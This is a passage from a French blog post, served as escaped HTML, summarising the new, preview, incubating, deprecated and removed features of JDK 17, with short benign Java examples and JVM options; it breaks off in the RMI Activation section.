&lt;p&gt;En collaboration avec la communité et le JCP, Oracle propose d&amp;#8217;accèlerer le rythme des versions LTS. La prochaine version pourrait être Java 21 disponible en septembre 2023, soit 2 ans au lieu de 3 ans actuellement.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;nouvelles_fonctionnalités&quot;&gt;Nouvelles fonctionnalités&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;306_restore_always_strict_floating_point_semantics&quot;&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/306&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;306 - Restore Always-Strict Floating-Point Semantics&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;strong&gt;Cela concerne les contributeurs d&amp;#8217;OpenJDK.&lt;/strong&gt; L&amp;#8217;objectif est d&amp;#8217;utiliser, comme à l&amp;#8217;origine, systématiquement les opérations de virgules flottantes de manière strict.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;356_enhanced_pseudo_random_number_generators&quot;&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/356&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;356 - Enhanced Pseudo-Random Number Generators&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;objectif est de fourni de nouveaux types et de nouvelles implémentations pour la génération des nombres aléatoires. Les buts sont :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Pouvoir facilement utiliser plusieurs algorithmes de génération de nombre aléatoires de manière interchangeable&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Améliorer le support des flux (&quot;stream&quot;)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Eliminer le code dupliqué des classes existantes&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Ne pas changer le comportement de la classe &lt;code&gt;java.util.Random&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;382_new_macos_rendering_pipeline&quot;&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/382&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;382 - New macOS Rendering Pipeline&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En 2018, Apple annonce un nouveau cadriciel nommé Metal pour macOS 10.14. Ce dernier va remplacer la librairie OpenGL qui devient dépréciée.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le &lt;a href=&quot;http://openjdk.java.net/projects/lanai/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;projet Lanai&lt;/a&gt; est lancé en août 2019 pour prendre en compte le nouveau cadriciel. Cette fonctionnalité n&amp;#8217;est ni plus ni moins l&amp;#8217;intégration de ses travaux dans le JDK.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La mise en oeuvre consiste à :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Reprendre toutes les fonctionnalités de l&amp;#8217;API Java 2D&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Mettre en place la coexistence avec l&amp;#8217;implémentation OpenGL&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Etre prêt quand Apple supprimera OpenGL&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Etre transparent pour les utilisateurs&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Fournir les mêmes performances (voir meilleure)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Par défaut, c&amp;#8217;est l&amp;#8217;implémentation OpenGL qui est utilisé. Si vous souhaitez utiliser la nouvelle implémentation est faudra ajouter la propriété suivante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;-Dsun.java2d.metal=true&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Plus d&amp;#8217;informations sur le &lt;a href=&quot;/2021/07/JEP382-JEP391-Les-apports-JDK17-pour-macOS.html#jep_382_new_macos_rendering_pipeline&quot;&gt;billet dédié&lt;/a&gt; au nouveauté JDK17 pour macOS.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;403_strongly_encapsulate_jdk_internals&quot;&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/403&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;403 - Strongly Encapsulate JDK Internals&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;C&amp;#8217;est la suite de la &lt;a href=&quot;https://openjdk.java.net/jeps/403&quot;&gt;JEP 396, Strongly Encapsulate JDK Internals by Default&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;objectif est de continuer à pousser les développeurs à ne pas utiliser les classes internes du JDK. Pour cela, l&amp;#8217;option &lt;code&gt;--illegal-access&lt;/code&gt; affiche maintenant uniquement un avertissement quelque soit la valeur du paramètre et sera ignorée.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;OpenJDK 64-Bit Server VM warning: Ignoring option --illegal-access=permit; support was removed in 17.0&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;option sera retirée dans une future release.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Il reste encore possible d&amp;#8217;accèder à ces classes :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;l&amp;#8217;option &lt;code&gt;--add-opens&lt;/code&gt;,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;l&amp;#8217;attribut du manifest &lt;code&gt;Add-Opens&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La classe &lt;code&gt;sun.misc.Unsafe&lt;/code&gt; reste accessible.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Retrouver les informations sur le &lt;a href=&quot;/2021/02/JEP396-Strongly-Encapsulate-JDK-Internals-by-Default.html&quot;&gt;billet sur JEP 396&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;409_sealed_classes&quot;&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/409&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;409 - Sealed Classes&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les classes scellées sont un moyen pour le développeur d’avoir plus de contrôle sur l&amp;#8217;héritage. Pour cela, deux nouveaux mot clés ont été introduite &lt;code&gt;sealed&lt;/code&gt; et &lt;code&gt;non-sealed&lt;/code&gt; :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;sealed&lt;/code&gt; : permet d’avoir des classes dérivées à condition qu’elles fassent partir des classes autorisées pour cela il y a le mot clé &lt;code&gt;permits&lt;/code&gt; à utiliser.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;non-sealed&lt;/code&gt; : permet de ne pas limiter les classes dérivées.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Par exemple, nous avons :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;package fr.exemple.geometrie;

public abstract sealed class Forme
    permits Cercle, Rectangle {
	...
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous définissons une classe abstraite &lt;code&gt;Forme&lt;/code&gt; dont seules les classes &lt;code&gt;Cercle&lt;/code&gt; et &lt;code&gt;Rectangle&lt;/code&gt; seront autorisées comme classes dérivées.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Plus d&amp;#8217;informations sur le &lt;a href=&quot;/2021/05/JEP-409-Sealed-classes.html&quot;&gt;billet dédié&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;415_implement_context_specific_deserialization_filters&quot;&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/415&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;415 - Implement Context-Specific Deserialization Filters&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La sérialisation non sécurisée fait partie du OWASP TOP 10 des vulnérabilités des applications web : &lt;a href=&quot;https://owasp.org/www-project-top-ten/2017/A8_2017-Insecure_Deserialization&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;A8:2017-Insecure Deserialization&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;C&amp;#8217;est une amélioration de la &lt;a href=&quot;https://openjdk.java.net/jeps/290&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 290&lt;/a&gt; qui permet déjà de mettre en place un filtre avant la sérialisation. Ainsi, il est possible de protéger notre application de ce type d&amp;#8217;attaques.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour cela, nous avons une interface à notre disposition :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;interface ObjectInputFilter {
    Status checkInput(FilterInput filterInfo);

    enum Status {
        UNDECIDED,
        ALLOWED,
        REJECTED;
    }

    ...
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Il est aussi possible de passer simplement par la ligne de commande avec la propriété &lt;code&gt;jdk.serialFilter&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;java -Djdk.serialFilter=&quot;fr.lbenoit.exemple*;java.base/*;!*&quot; ...&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt;Cela permet de définir facilement une liste blanche de classes et/ou packages autorisées.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;amélioration consiste à pouvoir définir un filtre par contexte de désérialisation. Une nouvelle interface &lt;code&gt;BinaryOperator&amp;lt;ObjectInputFilter&amp;gt;&lt;/code&gt; a été mise en place pour permettre de savoir quelle filtre utilisé selon le contexte.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous pouvons réaliser l&amp;#8217;implémentation de la méthode &lt;code&gt;apply(&amp;#8230;&amp;#8203;)&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public class FiltreSelonContexte implements BinaryOperator&amp;lt;ObjectInputFilter&amp;gt; {

    public ObjectInputFilter apply(ObjectInputFilter curr, ObjectInputFilter next) {
        ....
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela permet de choisir entre l&amp;#8217;implémentation courante et une nouvelle selon notre contexte.
En sachant, que maintenant, il est aussi possible de fusionner les deux filtres :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;interface ObjectInputFilter {
    ObjectInputFilter ObjectInputFilter.merge(ObjectInputFilter premier, ObjectInputFilter second);
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Plus d&amp;#8217;informations sur le &lt;a href=&quot;/2021/08/JEP-415-Context-Specific-Deserialization-Filters.html&quot;&gt;billet dédié&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;nouvelles_fonctionnalités_portage&quot;&gt;Nouvelles fonctionnalités (Portage)&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;391_macosaarch64_port&quot;&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/391&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;391 - macOS/AArch64 Port&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le portage consiste à pouvoir faire fonctionner la JVM sur les nouvelles puces M1 d&amp;#8217;Apple. L&amp;#8217;architecture est ARM64, correspond à ce qu&amp;#8217;on appelle AArh64.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela fait suite au portage de ce type d&amp;#8217;architecture pour Linux, Windows et donc MacOS maintenant.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Plus d&amp;#8217;informations sur le &lt;a href=&quot;/2021/03/JEP386-Alpine-Linux-Port.html&quot;&gt;sur le billet dédié.&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;fonctionnalités_en_mode_aperçu&quot;&gt;Fonctionnalités en mode Aperçu&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;406_pattern_matching_for_switch_preview&quot;&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/406&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;406 - Pattern Matching for switch (Preview)&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les expressions switch ont été introduits dans le JDK 14 à travers la &lt;a href=&quot;https://openjdk.java.net/jeps/361&quot;&gt;JEP 361&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;objectif de cette fonctionnalité est de mettre en place le filtrage par motif au niveau des expressions switch.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Regardons un exemple. L&amp;#8217;ancien code ressemble à cela (avec l&amp;#8217;utilisation du filtrage par motif pour &lt;code&gt;instanceof&lt;/code&gt;) :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static String formatter(Object o) {
    String formatted = &quot;unknown&quot;;
    if (o instanceof Integer i) {
        formatted = String.format(&quot;int %d&quot;, i);
    } else if (o instanceof Long l) {
        formatted = String.format(&quot;long %d&quot;, l);
    } else if (o instanceof Double d) {
        formatted = String.format(&quot;double %f&quot;, d);
    } else if (o instanceof String s) {
        formatted = String.format(&quot;String %s&quot;, s);
    }
    return formatted;
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Avec le filtrage par motif au niveau des switch, nous obtenons le code suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static String formatterPatternSwitch(Object o) {
    return switch (o) {
        case Integer i -&amp;gt; String.format(&quot;int %d&quot;, i);
        case Long l    -&amp;gt; String.format(&quot;long %d&quot;, l);
        case Double d  -&amp;gt; String.format(&quot;double %f&quot;, d);
        case String s  -&amp;gt; String.format(&quot;String %s&quot;, s);
        default        -&amp;gt; o.toString();
    };
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Ce dernier est beaucoup plus clair et concis.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Plus d&amp;#8217;informations sur le &lt;a href=&quot;/2021/06/JEP-406-Pattern-Matching-for-switch-preview.html&quot;&gt;billet dédié&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;fonctionnalités_en_mode_incubation&quot;&gt;Fonctionnalités en mode Incubation&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;412_foreign_function_memory_api_incubator&quot;&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/412&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;412 - Foreign Function &amp;amp; Memory API (Incubator)&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Foreign Memory API a été proposé en mode incubation dans le JDK 14, puis ré-incubé dans le JDK 15 et JDK16.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;D&amp;#8217;un autre côté, Foreign Linker API a été introduit la première fois en mode incubation dans le JDK 16.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;objectif de cette fonctionnalité (Foreign Function &amp;amp; Memory API) est de réunir les deux fonctionnalités en une seule ayant comme but :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Etre facile à utiliser,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Avoir des performances comparables, voir meilleur, à &lt;code&gt;sun.misc.Unsafe&lt;/code&gt; et JNI,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Fournir une voie générale pour l&amp;#8217;allocation de la mémoire étrangère,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Désactiver les opérations dangereuses par défaut.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les travaux sont menés dans le cadre du &lt;a href=&quot;http://openjdk.java.net/projects/panama/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;projet Panama&lt;/a&gt;. L&amp;#8217;objectif de ce dernier est d&amp;#8217;améliorer les interactions du code Java et non-Java de l&amp;#8217;application.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;414_vector_api_second_incubator&quot;&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/414&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;414 - Vector API (Second Incubator)&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;API Vectorielle a été proposée la première fois dans le JDK 16.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;objectif est de fournir une API afin de fournir un mécanisme pour exprimer des calculs vectoriels. Elle utilise les instructions vectorielles optimales sur les architectures CPU prises en charge. Cela permet d&amp;#8217;obtenir des performances accrues vis à vis des calculs scalaires&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les performances ont été améliorées dans cette version. Notamment, pour traduire les vecteurs d&amp;#8217;objets vers et depuis les tableaux booléens.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;fonctionnalités_dépréciées&quot;&gt;Fonctionnalités dépréciées&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;398_deprecate_the_applet_api_for_removal&quot;&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/398&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;398 - Deprecate the Applet API for Removal&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Bien que les applets ont permis de rendre le langage populaire, ils ne sont plus supportés par les navigateurs modernes.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Elles étaient dépréciées avec le JDK 9 à travers la &lt;a href=&quot;https://openjdk.java.net/jeps/289&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 289: Deprecate the Applet API&lt;/a&gt;).&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Une nouvelle étape est franchie avec l&amp;#8217;annonce de dépréciation pour suppression.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Plus d&amp;#8217;informations sur le &lt;a href=&quot;/2021/08/JEP398-JEP411-Les-fonctionnalites-depreciees-du-JDK17.html#jep_398_deprecate_the_applet_api_for_removal&quot;&gt;chapitre dédié&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;411_deprecate_the_security_manager_for_removal&quot;&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/411&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;411 - Deprecate the Security Manager for Removal&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela était moins attendu que la dépréciation des applets. Mais effectivement l&amp;#8217;équipe a souhaité les lier du fait que le système de sandbox est vraiment utile pour les applets.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En effet, cela était rarement utilisé côté serveur.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Il n&amp;#8217;y a pas d&amp;#8217;alternatives proposées au gestionnaire de sécurité. En revanche, des pistes sont explorées :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Sécurisation du code natif (via notamment les travaux en cours sur les appels natifs &lt;a href=&quot;/2021/09/JDK17-Nouveautes.html#412_foreign_function_memory_api_incubator&quot;&gt;cf 412 Foreign Function Memory Api (incubator)&lt;/a&gt;) en lieu et place de JNI&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Surveiller les accès aux ressources via JDK Flight Recorder&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Nouvelle API pour bloquer la méthode &lt;code&gt;System.exit()&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Sécuriser la sérialisation (via notamment &lt;a href=&quot;https://openjdk.java.net/jeps/289&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 290: Filter Incoming Serialization Data&lt;/a&gt; et &lt;a href=&quot;/2021/09/JDK17-Nouveautes.html#415_implement_context_specific_deserialization_filters&quot;&gt;cf JEP 415&lt;/a&gt;).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Sécuriser le processus de traitement XML&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Plus d&amp;#8217;informations sur le &lt;a href=&quot;/2021/08/JEP398-JEP411-Les-fonctionnalites-depreciees-du-JDK17.html#jep_411_deprecate_the_security_manager_for_removal&quot;&gt;chapitre dédié&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;fonctionnalités_supprimées&quot;&gt;Fonctionnalités supprimées&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;407_remove_rmi_activation&quot;&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/407&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;407 - Remove RMI Activation&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;RMI (Remote Method Invocation) est utilisé pour réaliser la communication via des objets distribués. L&amp;#8217;activation RMI est le principe d&amp;#8217;avoir un daemon permettant de démarrer l&amp;#8217;objet car cela est nécessaire.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;objectif était de limiter les ressources, car tous les objets distribués n&amp;#8217;ont plus besoin d&amp;#8217;être en fonctionnement.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;A noter que cette fonctionnalité est peu ou pas utilisé par la communauté.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
